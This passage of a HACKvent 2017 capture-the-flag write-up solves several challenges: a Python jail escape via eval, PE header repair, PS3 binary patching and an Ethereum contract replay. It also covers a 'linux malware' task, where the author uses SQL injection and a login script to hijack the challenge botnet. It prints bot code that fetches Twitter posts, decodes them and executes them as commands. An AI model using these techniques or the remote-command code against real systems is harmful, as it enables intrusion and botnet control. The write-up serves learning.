  url_hash = compute_url(x[6])\n    flag = find_flag(url_hash)\n    if flag:\n        print(\"[+] Found our Flag!\")\n        print(\"[+] \" + LINK + url_hash)\n        print(\"[+] \" + x[6])\n        print(\"--&gt; \" + flag)<\/pre>\n<pre class=\"wrap:true lang:sh decode:true\">$ python sol.py\n[+] URL for field 'Danny.Dixon@sunflower.org' matches: bncqYuhdQVey9omKA6tAFi4rep1FDRtD4H8ftWiw\nAccount: ['32009', 'Danny', 'Dixon', '484 Cliffwood Boulevard', '75876', 'Crescent', 'Danny.Dixon@sunflower.org', '44967219', 'gold', '15', '1', '39', '91819254', '128486', 'active']\n---------------------------\n[+] Found our Flag!\n[+] http:\/\/challenges.hackvent.hacking-lab.com:3958\/gallery\/37qKYVMANnIdJ2V2EDberGmMz9JzS1pfRLVWaIKuBDw\n[+] Thumper.Lee@gmx.com\n--&gt; HV17-el2S-0Td5-XcFi-6Wjg-J5aB<\/pre>\n<p><strong>HV17-el2S-0Td5-XcFi-6Wjg-J5aB<\/strong><\/p>\n<hr \/>\n<h1><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-523\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/hard_64.png\" alt=\"\" width=\"64\" height=\"64\"><strong>Day 16: Try to escape &#8230; (Author: pyth0n33)<\/strong><\/h1>\n<p style=\"text-align: left;\"><em>&#8230; from the snake cage<\/em><\/p>\n<p><strong><br \/>\nDescription<\/strong><br \/>\nSanta programmed a secure jail to give his elves access from remote. Sadly the jail is not as secure as expected.<\/p>\n<p style=\"text-align: center;\">nc challenges.hackvent.hacking-lab.com 1034<\/p>\n<p><strong>Solution<br \/>\n<\/strong>Very entertaining challenge. I assume there were many different ways to solve this challenge. I don&#8217;t think it is possible for the author to just allow one possible path in such an environment.<br \/>\nWhen connecting to the server some nice ASCII art is shown, a message and a python command prompt:<\/p>\n<pre class=\"wrap:true lang:python decode:true\">The flag is stored super secure in the function SANTA!\n&gt;&gt;&gt; a =<\/pre>\n<p>After playing around a bit with the python jail I made some discoveries:<br \/>\n&#8211; Everything entered gets transformed to lowercase<br \/>\n&#8211; There are some denied characters and functions<\/p>\n<pre class=\"wrap:true lang:python decode:true\">&gt;&gt;&gt; a = x\nDenied<\/pre>\n<p>&#8211; There are allowed functions as well<\/p>\n<pre class=\"wrap:true lang:python decode:true \">&gt;&gt;&gt; a = 1\n&gt;&gt;&gt; a = print(a)\n1<\/pre>\n<p>&#8211; &#8216;Denied&#8217; is a list with blacklisted functions and I could print it!<\/p>\n<pre class=\"wrap:true lang:python decode:true \">&gt;&gt;&gt; a = print(denied)\n['import', 'upper', 'lower', 'open', 'exit', 'compile', 'chr', '__import__', 'object', 'assert', '__builtins__', 'exec', 'pper', 'per']<\/pre>\n<p>&#8211; I was able to use these functions: a=denied[0]<br \/>\n&#8211; I had the eval() function, which can execute code. And I had the upper() function.<br \/>\nNow I was able to create SANTA().<\/p>\n<pre class=\"wrap:true lang:python decode:true \">&gt;&gt;&gt; a = eval(\"'santa'.\"+DENIED[1]+\"()\")+\"()\"\n&gt;&gt;&gt; a = print(a)\nSANTA()<\/pre>\n<p>With eval() it is possible to execute SANTA().<\/p>\n<pre class=\"wrap:true lang:python decode:true \">&gt;&gt;&gt; a = print(eval(eval(\"'santa'.\"+DENIED[1]+\"()\")+\"()\"))\nNo flag for you!<\/pre>\n<p>\ud83d\ude41 And I thought I already solved the challenge before this point&#8230; So, I started to play with arguments for the SANTA() function.<\/p>\n<pre class=\"wrap:true lang:python decode:true\">&gt;&gt;&gt; a = print(eval(eval(\"'santa'.\"+DENIED[1]+\"()\")+\"('A')\"))\n<\/pre>\n<p>This returned some non-printable characters. I tried to input more characters:<\/p>\n<pre class=\"wrap:true lang:python decode:true \">&gt;&gt;&gt; a = print(eval(eval(\"'santa'.\"+DENIED[1]+\"()\")+\"('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')\"))\n\u0018\u0004ca}\u0018fg&lt;7%3f&amp;c76{'f(,}a3%)<\/pre>\n<p>OK, I definitely got something, lets try out numbers instead of &#8216;A&#8217;s.<\/p>\n<pre class=\"wrap:true lang:python decode:true \">&gt;&gt;&gt; a = print(eval(eval(\"'santa'.\"+DENIED[1]+\"()\")+\"('00000000000000000000000000000000000000000000000')\"))\nIU20,I76m.ftb7.w2fg*v7y},0btx<\/pre>\n<p>This already looks like our flag, but still encoded\/encrypted somehow. I started to change my input, character by character and was able to construct &#8216;HV17&#8217; with<\/p>\n<pre class=\"wrap:true lang:python decode:true \">1337!&nbsp;&gt;&gt;&gt; a = print(eval(eval(\"'santa'.\"+DENIED[1]+\"()\")+\"('13371337133713371337133713371337')\"))\nHV17-J41l-esc4-p3ed-w4zz-3asy<\/pre>\n<p>Later on I&#8217;ve found an alternative method to solve this challenge. It is also possible to use the title function to construct &#8220;SANTA()&#8221;.<\/p>\n<pre class=\"wrap:true lang:python decode:true\">&gt;&gt;&gt; a = print(eval(\"s\".title()+\"a\".title()+\"n\".title()+\"t\".title()+\"a\".title()+\"('1337133713371337133713371337133713371337')\"))\nHV17-J41l-esc4-p3ed-w4zz-3asy<\/pre>\n<p><strong>HV17-J41l-esc4-p3ed-w4zz-3asy<\/strong><\/p>\n<hr class=\"whiter\">\n<h1><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-523\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/hard_64.png\" alt=\"\" width=\"64\" height=\"64\">Day 17: Portable NotExecutable (Author:&nbsp;HaRdLoCk)<\/h1>\n<p>&nbsp;<br \/>\n<strong><br \/>\nDescription<br \/>\n<\/strong>here is your flag.<br \/>\nbut wait &#8211; its not running, because it uses the new Portable NotExecutable Format. this runs only on Santas PC. can you fix that?<\/p>\n<p style=\"text-align: center;\"><a href=\"https:\/\/sigterm.ch\/stuff\/hv17\/Portable_NotExecutable.zip\" target=\"_blank\" rel=\"noopener\">get the flag here<\/a><\/p>\n<p><strong>Solution<br \/>\n<\/strong>This executable is not running correctly, apparently the header is broken and the challenge is to fix it. First I had to read about the PE file format. These links helped a lot:<br \/>\n<a href=\"https:\/\/raw.githubusercontent.com\/corkami\/pics\/906c60577732694b92fc0b5bb0e15b48e7942812\/binary\/PE101.png\" target=\"_blank\" rel=\"noopener\">PE101.png<\/a><br \/>\n<a href=\"https:\/\/msdn.microsoft.com\/en-us\/library\/ms809762.aspx\" target=\"_blank\" rel=\"noopener\">https:\/\/msdn.microsoft.com\/en-us\/library\/ms809762.aspx<\/a><br \/>\nThe PEView tool is very helpful as it parses the file and shows the header information. <a href=\"https:\/\/www.aldeid.com\/wiki\/PEView\" target=\"_blank\" rel=\"noopener\">https:\/\/www.aldeid.com\/wiki\/PEView<\/a><br \/>\nIn the end it was to read up the specifications and find the errors in the header. Finally, I had to make 4 modifications to make the executable run.<br \/>\n&#8211; Change the e_magic number to 4D5A (Address: 0x00)<br \/>\n&#8211; Change the e_lfanew number from 0x20 to 0x40 (Address: 0x3C)<br \/>\n&#8211; Change PNE to PE00 &#8211;&gt; 504e4500 to 50450000 (Address: 0x40)<br \/>\n&#8211; There are only 4 sections, so change 6 sections to 4 (Address: 0x46)<br \/>\nThis still didn&#8217;t reveal the right flag. And for every tiny modification I did, the printed flag was a new one. Therefore, I tried to modify only what was really needed.<br \/>\nWhen running strings over the file, there was this hint:<\/p>\n<pre class=\"wrap:true lang:sh decode:true \">$ strings Portable_NotExecutable.exe | grep HV17\nHV17\nHV17-GasR-zkb3-cVd9-KdAP-txi is almost good. but why the black window?<\/pre>\n<p>I assumed that I have to get rid of the DOS window which opens when the executable is running. Fortunately I did exactly this for another purpose some weeks back. To do so I had to set the &#8220;image_optional_header_subsystem&#8221; at the address 09c from windows_cui to windows_gui. This means to change the value from 3 to 2.<br \/>\nAll the modifications:<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/radiff.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-742 size-large\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/radiff-1024x233.png\" alt=\"\" width=\"584\" height=\"133\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/radiff-1024x233.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/radiff-300x68.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/radiff-768x175.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/radiff.png 1147w\" sizes=\"auto, (max-width: 584px) 100vw, 584px\" \/><\/a><br \/>\nExecuting the modified EXE file the right flag is printed:<br \/>\n<strong>HV17-VIQn-oHcL-hVd9-KdAP-txiK<\/strong><\/p>\n<hr \/>\n<h1><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-524\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/final_64.png\" alt=\"\" width=\"64\" height=\"64\">Day 18: I want to play a Game (Reloaded) (Author:&nbsp;HaRdLoCk)<\/h1>\n<p>&nbsp;<br \/>\n<strong><br \/>\nDescription<\/strong><br \/>\nlast year we played some funny games together &#8211; do you remember? ready for another round?<br \/>\ndownload the game here and play until you find the flag.<\/p>\n<p style=\"text-align: center;\"><a href=\"https:\/\/sigterm.ch\/stuff\/hv17\/BLES-HV17.iso\" target=\"_blank\" rel=\"noopener\">get the game<\/a><\/p>\n<p><strong>Solution<br \/>\n<\/strong>I always struggle a bit with Reverse Engineering challenges. But it&#8217;s HACKvent, here we go.<br \/>\nThe <a href=\"https:\/\/rpcs3.net\/download\" target=\"_blank\" rel=\"noopener\">rpcs3 Playstation 3 emulator<\/a> was a real help for this challenge. The game didn&#8217;t start at first, but after looking around I noticed that if I load the hackvent.self binary the game starts and it reveals the hidden flag number 2!<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/hidden.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-713 size-large\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/hidden-1024x705.png\" alt=\"\" width=\"584\" height=\"402\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/hidden-1024x705.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/hidden-300x207.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/hidden-768x529.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/hidden.png 1440w\" sizes=\"auto, (max-width: 584px) 100vw, 584px\" \/><\/a><strong>HV17-Muq9-gzvU-t3Bg-O3jo-iGml<\/strong><br \/>\nI analyzed the files and found some useful information:<\/p>\n<ol>\n<li>hackvent.self is encrypted and signed. Therefore it can be run. It also can be decrypted with TrueAncestor.<\/li>\n<li>EBOOT.BIN is almost the same like the unencrypted hackvent.self file. There are some differences and it contains debug information. The instructions and addresses are the same!<\/li>\n<li>We cannot make EBOOT.BIN run, I tried to sign it with TrueAncestor, but the file is somehow broken.<\/li>\n<li>The hint says we should follow the flag in the unsigned binary (EBOOT.BIN), so there must be some differences between the unsigned and signed binaries.<\/li>\n<li>I assumed, the unsigned binary does exactly the same like the signed one, but reveals the real flag in the end.<\/li>\n<\/ol>\n<p>I reverse engineered the EBOOT.BIN file with Hopper. Eventually I&#8217;ve found out, that the magic is happening in the function .drawScene.<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/4.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-744 size-large\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/4-1024x867.png\" alt=\"\" width=\"584\" height=\"494\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/4-1024x867.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/4-300x254.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/4-768x650.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/4.png 1061w\" sizes=\"auto, (max-width: 584px) 100vw, 584px\" \/><\/a> <a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/3.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-745 size-large\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/3-1024x865.png\" alt=\"\" width=\"584\" height=\"493\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/3-1024x865.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/3-300x253.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/3-768x648.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/3.png 1028w\" sizes=\"auto, (max-width: 584px) 100vw, 584px\" \/><\/a> <a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/2.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-746 size-full\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/2.png\" alt=\"\" width=\"905\" height=\"938\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/2.png 905w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/2-289x300.png 289w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/2-768x796.png 768w\" sizes=\"auto, (max-width: 905px) 100vw, 905px\" \/><\/a> <a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/1-1.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-747 size-full\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/1-1.png\" alt=\"\" width=\"910\" height=\"926\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/1-1.png 910w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/1-1-295x300.png 295w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/1-1-768x782.png 768w\" sizes=\"auto, (max-width: 910px) 100vw, 910px\" \/><\/a><br \/>\nAfter several attempts to use the debugger of rpcs3 I was finally able to step through the drawScene function. Of course there was not the right data, but it helped a lot to understand the function.<br \/>\nThe data which is used lays at the addresses 0x40040, 0x4005d and 0x4007a. I tried to completely understand the function, but I am really slow in reversing! At 23:40 I decided to patch the decrypted hackvent.elf file and resign it with TrueAncestor. So I could run it with the &#8220;real&#8221; data. I replaced the data at the three addresses mentioned above with hexedit.<br \/>\nDiff:<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/diff.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-715 size-full\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/diff.png\" alt=\"\" width=\"669\" height=\"226\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/diff.png 669w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/diff-300x101.png 300w\" sizes=\"auto, (max-width: 669px) 100vw, 669px\" \/><\/a><br \/>\nThen I re-signed the file and ran it again. And there it is, the right flag.<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/sol.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-714 size-large\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/sol-1024x694.png\" alt=\"\" width=\"584\" height=\"396\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/sol-1024x694.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/sol-300x203.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/sol-768x521.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/sol.png 1441w\" sizes=\"auto, (max-width: 584px) 100vw, 584px\" \/><\/a><br \/>\nI was able to submit the correct flag at 23:59:54!!! 6 seconds later and I would not have received the full points!<br \/>\n<strong>HV17-5mJ3-yxcm-WiUX-nZgW-e0lT<\/strong><\/p>\n<hr \/>\n<h1><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-524\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/final_64.png\" alt=\"\" width=\"64\" height=\"64\">Day 19: Cryptolocker Ransomware (Author:&nbsp;Dykcik)<\/h1>\n<p style=\"text-align: left;\"><em>Pay the price, Thumper did it already!<\/em><\/p>\n<p><strong><br \/>\nDescription<\/strong><br \/>\nThis flag has been taken for ransom. Transfer 10&#8217;000 Szabo to&nbsp;<b>0x1337C8b69bcb49d677D758cF541116af1F2759Ca<\/b>&nbsp;with your HACKvent username (case sensitive) in the transaction data to get your personal decryption key. To get points for this challenge, enter the key in the form below.<br \/>\n<b>Disclaimer:&nbsp;No need to spend r34l m0n3y!<\/b><br \/>\nEnter your 32-byte decryption key here. Type it as 64 hexadecimal characters without 0x at the beginning.<br \/>\n<strong>Solution<\/strong><br \/>\nI had the idea to make a blockchain CTF challenge myself. I was very excited to solve this one!<br \/>\nAccording to the description I knew that it was a smart contract hosted in the Ethereum blockchain. All blockchain transactions and contracts in Ethereum can be publicly viewed. The bytecode of the contract is <a href=\"https:\/\/etherscan.io\/address\/0x1337c8b69bcb49d677d758cf541116af1f2759ca#code\" target=\"_blank\" rel=\"noopener\">here<\/a>:<\/p>\n<pre class=\"wrap:true lang:default decode:true \">0x6060604052600436106100405763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663ea8796348114610154575b662386f26fc100003410610152577fec29ee18c83562d4f2e0ce62e38829741c2901da844c015385a94d8c9f03d486600260003660116000604051602001526040517f485631372d00000000000000000000000000000000000000000000000000000081526005810184848082843782019150508260ff167f0100000000000000000000000000000000000000000000000000000000000000028152600101935050505060206040518083038160008661646e5a03f1151561010157600080fd5b5050604051805190506040519081526040602082018190526011818301527f596f7572206b657920697320686572652e00000000000000000000000000000060608301526080909101905180910390a15b005b341561015f57600080fd5b61015260005473ffffffffffffffffffffffffffffffffffffffff9081169030163180156108fc0290604051600060405180830381858888f1935050505015156101a857600080fd5b5600a165627a7a7230582020304ba8cb5786445e5c47f840741111591a38057d40ac139568b31f9eaee3c70029<\/pre>\n<p>The transaction made from Thumper can be found <a href=\"https:\/\/etherscan.io\/tx\/0x6d5d42529ea3945df02a8cc8e6b16bd549b4cfced4e24e8f258e353a772995fb\" target=\"_blank\" rel=\"noopener\">here<\/a>:<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/transaction.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-711 size-large\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/transaction-1024x657.png\" alt=\"\" width=\"584\" height=\"375\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/transaction-1024x657.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/transaction-300x193.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/transaction-768x493.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/transaction.png 1440w\" sizes=\"auto, (max-width: 584px) 100vw, 584px\" \/><\/a><br \/>\nAnd Thumpers key can be found in the <a href=\"https:\/\/etherscan.io\/tx\/0x6d5d42529ea3945df02a8cc8e6b16bd549b4cfced4e24e8f258e353a772995fb#eventlog\" target=\"_blank\" rel=\"noopener\">event logs<\/a>:<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/response.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-710 size-full\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/response.png\" alt=\"\" width=\"821\" height=\"262\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/response.png 821w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/response-300x96.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/response-768x245.png 768w\" sizes=\"auto, (max-width: 821px) 100vw, 821px\" \/><\/a><br \/>\nReverse engineering an Ethereum contract is pretty hard. A better solution is, to run the contract in a private blockchain and trigger it by sending a transaction to it. To do so I used <a href=\"https:\/\/github.com\/ethereumjs\/ethereumjs-vm#vmruncodeopts-cb\" target=\"_blank\" rel=\"noopener\">ethereumjs-vm<\/a>. I extended the example of the simple transactions:<\/p>\n<pre class=\"lang:sh decode:true \">$ npm install ethereumjs-vm\n$ cd ethereumjs-vm\/examples\/run-transactions-simple\/<\/pre>\n<p>And then I modified the index.js:<\/p>\n<pre class=\"wrap:true lang:js decode:true \">var Buffer = require('safe-buffer').Buffer \/\/ use for Node.js &lt;4.5.0\nvar VM = require('..\/..\/index.js')\n\/\/ create a new VM instance\nvar vm = new VM()\nvar code = '6060604052600436106100405763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663ea8796348114610154575b662386f26fc100003410610152577fec29ee18c83562d4f2e0ce62e38829741c2901da844c015385a94d8c9f03d486600260003660116000604051602001526040517f485631372d00000000000000000000000000000000000000000000000000000081526005810184848082843782019150508260ff167f0100000000000000000000000000000000000000000000000000000000000000028152600101935050505060206040518083038160008661646e5a03f1151561010157600080fd5b5050604051805190506040519081526040602082018190526011818301527f596f7572206b657920697320686572652e00000000000000000000000000000060608301526080909101905180910390a15b005b341561015f57600080fd5b61015260005473ffffffffffffffffffffffffffffffffffffffff9081169030163180156108fc0290604051600060405180830381858888f1935050505015156101a857600080fd5b5600a165627a7a7230582020304ba8cb5786445e5c47f840741111591a38057d40ac139568b31f9eaee3c70029'\nvar hexString;\nvar byteArray;\nfunction toHexString(byteArray) {\n    return Array.prototype.map.call(byteArray, function(byte) {\n        return ('0' + (byte &amp; 0xFF).toString(16)).slice(-2);\n    }).join('');\n}\nvm.on('step', function (data) {\n})\nvm.runCode({\n    code: Buffer.from(code, 'hex'),\n    gasLimit: Buffer.from('ffffffff', 'hex'),\n    value: 10000000000000000, \/\/0.01 Ether\n    \/\/data: Buffer.from('5468756d706572', 'hex') \/\/Thumper\n    data: Buffer.from('6d636961', 'hex') \/\/mcia\n}, function (err, results) {\n    hexString = toHexString(results.logs[0][2])\n    console.log(\"[+] There is your key:\")\n    console.log(\"--&gt; \" + hexString.substr(0,64))\n    \/\/console.log('returned: ' + results.return.toString('hex'))\n    \/\/console.log('gasUsed: ' + results.gasUsed.toString())\n    console.log(err)\n})<\/pre>\n<p>I ran the code locally and when I browsed to the URL I received my key to solve the challenge:<\/p>\n<pre class=\"wrap:true lang:default decode:true\">0e9c15654854f594610d8331195e578601ed3f406ad0ed821bb4f7af84cff38d<\/pre>\n<hr \/>\n<h1><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-524\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/final_64.png\" alt=\"\" width=\"64\" height=\"64\">Day 20: linux malware (Author:&nbsp;muffinX)<\/h1>\n<p style=\"text-align: left;\"><em>oh boy, this will go wrong&#8230; =D<\/em><\/p>\n<p><strong><br \/>\nDescription<\/strong><br \/>\n<b>ohai<\/b>&nbsp;my name is muffinx&#8230;<br \/>\n&#8230;um yeah btw. cyberwar just started and you should just pwn everyone?<br \/>\nMake sure you don&#8217;t leave traces and make the lifes of your opponents harder, but fairplay!<br \/>\nYou are a hacker? Then think like a hacker!<br \/>\n<b>Attack! Defend! And trick!<\/b><br \/>\nLadies and gentlemen,<br \/>\nWe understand that you<br \/>\nHave come tonight<br \/>\nTo bear witness to the sound<br \/>\nOf drum And Bass<br \/>\nWe regret to announce<br \/>\nThat this is not the case,<br \/>\nAs instead<br \/>\nWe come tonight to bring you<br \/>\nThe sonic recreation of the end of the world.<br \/>\nLadies and gentlemen,<br \/>\nPrepare<br \/>\nTo hold<br \/>\nYour<br \/>\nColour<br \/>\nOK.<br \/>\nFuck it,<br \/>\nI lied.<br \/>\nIt&#8217;s drum and bass.<br \/>\nWhat you gonna do?<\/p>\n<blockquote><p>WARNING:<\/p>\n<hr \/>\n<p>RUN INSIDE VM, THIS CONTAINER MAYBE DANGEROUS FOR YOUR SYSTEM,<br \/>\nWE TAKE NO RESPONSIBILITY<\/p><\/blockquote>\n<p>You should keep the container inside the same host your haxxing on (same ip) or some things will not work&#8230;<\/p>\n<p style=\"text-align: center;\"><a href=\"https:\/\/hub.docker.com\/r\/muffinx\/hackvent12_linux_malware\/\" target=\"_blank\" rel=\"noopener\">https:\/\/hub.docker.com\/r\/muffinx\/hackvent12_linux_malware\/<\/a><\/p>\n<p><b>Hint #1:<\/b>&nbsp;check https:\/\/hub.docker.com\/r\/muffinx\/hackvent17_linux_malware\/ for regular updates, keep the container running (on the same ip) when you are haxxing the bot panel<br \/>\n<b>Hint #2:<\/b>&nbsp;you can also use https:\/\/hookbin.com\/ to create private endpoints<br \/>\n<strong>Solution<br \/>\n<\/strong>WOW &#8211; This challenge was super amazing!! Thanks muffinx for this experience!<br \/>\nI started the docker container and connected to the container as root, otherwise not all files are readable.<\/p>\n<pre class=\"wrap:true lang:sh decode:true \">$ docker exec -u 0 -it mycontainer bash<\/pre>\n<p>I started to explore what was happening. According to the description there is some kind of malware running on the system.<br \/>\nInteresting files:<br \/>\n&#8211; \/root\/party.py: Generates a lot of distraction. Writes temporary files in different folders with fake\/random flags.<br \/>\n&#8211; \/root\/loopz.py: Makes sure that \/home\/bot\/bot is running.<br \/>\n&#8211; \/root\/checker.py: XOR a nonce which is fetched from http:\/\/challenges.hackvent.hacking-lab.com:8081\/?nonce with a 29 byte long value in the script. I first thought this could be the flag already. But I got rick-rolled when looking for it. \ud83d\ude42<br \/>\n&#8211; \/home\/bot\/bot: Creates different files in \/tmp. But they are deleted right after execution. I copied the files to another directory with this command:<\/p>\n<pre class=\"lang:sh decode:true\">while true; do cp .* files\/; sleep 0.5; done<\/pre>\n<p>One of the copied files was very interesting. First it looked like a manual file. But when scrolling through it, there was python code hidden in the middle of the file! The script connects to http:\/\/challenges.hackvent.hacking-lab.com:8081\/?twitter, reads twitter names listed there and then decrypts the tweets of the users in the list. The decrypted tweets can contain code which will be executed afterwards.<br \/>\nThis is a bot-net controlled over encrypted twitter commands! My now goal was to somehow inject my twitter name into the website and take over control over the bot-net.<br \/>\nIn the main website of this challenge there is a hidden form with a password in the source code, this was the entry point to the admin panel. I found a SQL-injection-vulnerability in this field. I used sqlmap to exploit this because I was very lazy! \ud83d\ude42 While looking around, I&#8217;ve found a password table which contained the password. But it was encrypted. :\/ I played a bit more with sqlmap and I received this error message:<\/p>\n<pre class=\"lang:sh decode:true \">got [-] query failed : SELECT AES_ENCRYPT(''--','muffin_botz_hax_pw') AS enc FROM passwords<\/pre>\n<p>Now I had the password to decrypt the password. This could be easily done in the MySQL shell I had:<\/p>\n<pre class=\"lang:mysql decode:true \">SELECT AES_DECRYPT(password, 'muffin_botz_hax_pw') from passwords;<\/pre>\n<p>After entering the password into the hidden form, another website with a video appeared. The new page contained a new hidden form, where I could add a twitter name. This script executes both commands.<\/p>\n<pre class=\"lang:python decode:true\">import urllib2\nimport base64\nimport time\nreq1 = urllib2.Request('http:\/\/challenges.hackvent.hacking-lab.com:8081\/')\nresponse = urllib2.urlopen(req1, data=\"password=this_pw_is_so_eleet\")\ncookie = response.headers.get('Set-Cookie')\nres = response.read()\nprint(res + \"\\n----------------\")\n# Use the cookie is subsequent requests\nreq2 = urllib2.Request('http:\/\/challenges.hackvent.hacking-lab.com:8081\/')\nreq2.add_header('cookie', cookie)\nresponse = urllib2.urlopen(req2, data=\"twitter_name=mhvent1337\")\nres = response.read()\nprint(res)<\/pre>\n<p>After adding myself to the twitter list, I had control over the botnet. Basically everyone solving the challenge was a part in the botnet! The feeling to control all these little minions was amazing! \ud83d\ude42 Next step was to understand the script which decrypts the commands from Twitter. I modified it a bit and added my own functions to encrypt\/decrypt commands.<\/p>\n<pre class=\"wrap:true lang:python decode:true\"># as stupid as this is, it definetly can't be something dangerous! :)\nimport base64, os, re, urllib2\nfrom easyprocess import EasyProcess\n#os.system('\/root\/checker.py') # this does nothing\n# gosh im stupid\nyolo, gimme_muffin, party_hard, ten_inches, omg_wat = base64.b64decode, urllib2.urlopen, re.findall, len, range\ndef x(t):\n    res = ''.join([chr(ord(t[i])^[0x66, 0x66, 0x66, 0x13, 0x37, 0x42, 0x69, 0x33, 0x01, 0x13][i%10]) for i in range(len(t))])\n    return res\n# yeah stop to reverse 1337 hax0r i got dem skillz pew pew pew\ndef ok_cool(c):\n    # dont reverse this i am a big guy\n    # dolan\n    try:\n        c = x(yolo(c));\n        EasyProcess(c).call(timeout=2)\n    except:\n        pass\ndef wtf(n):\n    # wat r u doin\n    t = 'https:\/\/twitter.com\/' + n;\n    cs = []       #https:\/\/twitter.com\/\n    # pls leak this as an nsa sample\n    try:\n        c_txt = urllib2.urlopen(t).read();\n        cs = re.findall('TweetTextSize(.*)&lt;\/p', c_txt)\n        print(cs)\n    # *placing advertisements* https:\/\/twitter.com\/muffiniks\n    except:\n        pass\n    # dolan\n    for c in cs:\n        try:\n            c = c[c.index('&gt;')+1:]\n            #print(c)\n            # y i could use regex lil\n            if '&lt;a href=\"\/muffiniks\" class=\"twitter-atreply pretty-link js-nav\" dir=\"ltr\" data-mentioned-user-id=\"764117042274373632\" &gt;&lt;s&gt;@&lt;\/s&gt;&lt;b&gt;muffiniks&lt;\/b&gt;&lt;\/a&gt;' in c and ' &lt;a href=\"\/hashtag\/hackvent?src=hash\" data-query-source=\"hashtag_click\" 